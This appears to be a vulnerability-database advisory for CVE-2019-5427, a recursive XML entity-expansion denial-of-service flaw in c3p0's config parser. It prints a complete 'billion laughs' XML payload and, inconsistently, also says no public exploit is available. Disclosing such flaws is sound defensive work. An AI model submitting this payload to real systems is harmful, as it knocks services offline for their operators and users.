Input validation error in c3p0 - CVE-2019-5427
Published: June 12, 2019
Vulnerability identifier: #VU18785
CSH Severity: Medium
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/U:Green
CVE-ID: CVE-2019-5427
CWE-ID: CWE-20
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vendor: mchange.com
Affected software:
c3p0
c3p0
Detailed vulnerability description
The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.
The vulnerability exists due to insufficient validation of user-supplied input when processing XML files within the c3p0/src/java/com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java. A remote attacker can create a specially crafted XML file, pass it to the affected application and trigger recursive entity expansion when loading configuration. This results in denial of service (DoS) attack aka billion laughs attack.
Exploit:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
How to mitigate CVE-2019-5427
Install updates from vendor's website.